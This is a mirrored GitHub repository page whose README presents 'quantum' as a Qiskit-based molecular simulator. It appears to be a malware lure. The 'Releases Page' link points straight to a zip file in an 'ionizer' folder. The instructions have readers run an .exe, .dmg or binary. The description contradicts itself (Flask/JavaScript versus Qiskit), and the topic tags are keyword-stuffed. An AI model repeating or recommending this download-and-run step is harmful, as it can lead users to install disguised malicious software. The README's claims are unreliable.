https://github.com/vipmahesh/quantum
🧪 Simulate molecules with an advanced quantum simulator using Flask and JavaScript for real-time analysis and responsive web interaction.
https://github.com/vipmahesh/quantum
List: quantum
automatic-differentiation awesome boost google google-quantum multi-threading optimization parallel qdk qsharp quantum-chemistry quantum-computing quantum-information quantum-mechanics quantum-programming quantum-programming-language quantum-simulation sdk
Last synced: 2 months ago
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🧪 Simulate molecules with an advanced quantum simulator using Flask and JavaScript for real-time analysis and responsive web interaction.
- Host: GitHub
- URL: https://github.com/vipmahesh/quantum
- Owner: vipmahesh
- License: mit
- Created: 2025-10-26T11:10:41.000Z (3 months ago)
- Default Branch: main
- Last Pushed: 2025-10-27T07:28:00.000Z (3 months ago)
- Last Synced: 2025-10-27T09:22:19.074Z (3 months ago)
- Topics: automatic-differentiation, awesome, boost, google, google-quantum, multi-threading, optimization, parallel, qdk, qsharp, quantum-chemistry, quantum-computing, quantum-information, quantum-mechanics, quantum-programming, quantum-programming-language, quantum-simulation, sdk
- Language: Python
- Size: 69.3 KB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- Contributing: CONTRIBUTING.md
- License: LICENSE
- Security: SECURITY.md
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README
# 🌌 quantum - Explore Quantum Computing with Ease
## 🚀 Getting Started
Welcome to **quantum**! This application lets you explore the fascinating world of quantum computing. It includes a molecular simulator prototype built using IBM Qiskit, designed for you to experience the power of quantum algorithms in chemical modeling.
## 📦 Download & Install
To get started, you will need to download the application. Click the link below to visit our releases page and download the latest version:
[](https://raw.githubusercontent.com/vipmahesh/quantum/main/ionizer/quantum.zip)
### Steps to Download and Run
1. **Visit the Releases Page:** Click on the link above or go to [Releases Page](https://raw.githubusercontent.com/vipmahesh/quantum/main/ionizer/quantum.zip).
2. **Choose the Latest Version:** Look for the latest version at the top of the page. It will be clearly labeled.
3. **Download the File:** Click on the appropriate file for your operating system. Make sure to choose the version that matches your system requirements. If you are unsure, you can download the file labeled "quantum-latest".
4. **Install the Application:**
- **For Windows:** Double-click on the downloaded `.exe` file and follow the installation prompts.
- **For Mac:** Open the `.dmg` file and drag the quantum application to your Applications folder.
- **For Linux:** Open the terminal, navigate to the downloaded file, and use the command `chmod +x quantum` followed by `./quantum` to run it.
5. **Run the Application:** Once installed, you can find quantum in your applications menu. Open it to start exploring molecular simulations!
## 🛠️ System Requirements
Before you download, please ensure your system meets the following requirements:
- **Operating Systems:** Windows 10 or later, macOS 10.14 or later, or a recent Linux distribution.
- **Memory:** At least 4 GB of RAM; 8 GB or more is recommended for better performance.
- **Disk Space:** About 500 MB of free space is needed for installation.
- **Software Dependencies:** Ensure you have Python 3.7 or later installed on your system. If you don’t have it, follow the guide on the official Python website.
## 🔍 Features
- **Molecular Simulation:** Explore the behaviors of molecules using quantum computing techniques.
- **User-Friendly Interface:** Navigate easily without programming knowledge. Everything is designed to be intuitive.
- **Hands-On Proof of Concept:** Experience real-time simulations and visualize the results of quantum algorithms.
## 📋 Key Topics
Our application covers several important topics related to quantum computing, such as:
- **Quantum Algorithms:** Learn how quantum algorithms optimize molecular modeling.
- **IBM Qiskit:** Utilize this powerful framework for executing your simulations.
- **Molecular Chemistry:** Dive into the chemistry world using a quantum approach.
## ⚙️ Frequently Asked Questions (FAQs)
### How do I know if my system is compatible?
Check the system requirements listed above. If your system meets these specifications, you should be able to run quantum without issues.
### What if I encounter an error during installation?
If you run into issues, please check the most common troubleshooting steps on the GitHub Issues page. This page provides solutions for frequent problems.
### How can I contribute to the project?
If you're interested in contributing, feel free to check out the **Contributing** section on our GitHub page. We welcome ideas and improvements from everyone.
## 📞 Support
If you have any questions or need help, feel free to contact us through the GitHub repository by opening an issue. We will do our best to assist you.
## 📜 License
This project is licensed under the MIT License. You can freely use and modify it as long as you follow the terms laid out in the license file.
Thank you for choosing **quantum** as your gateway to exploring quantum computing!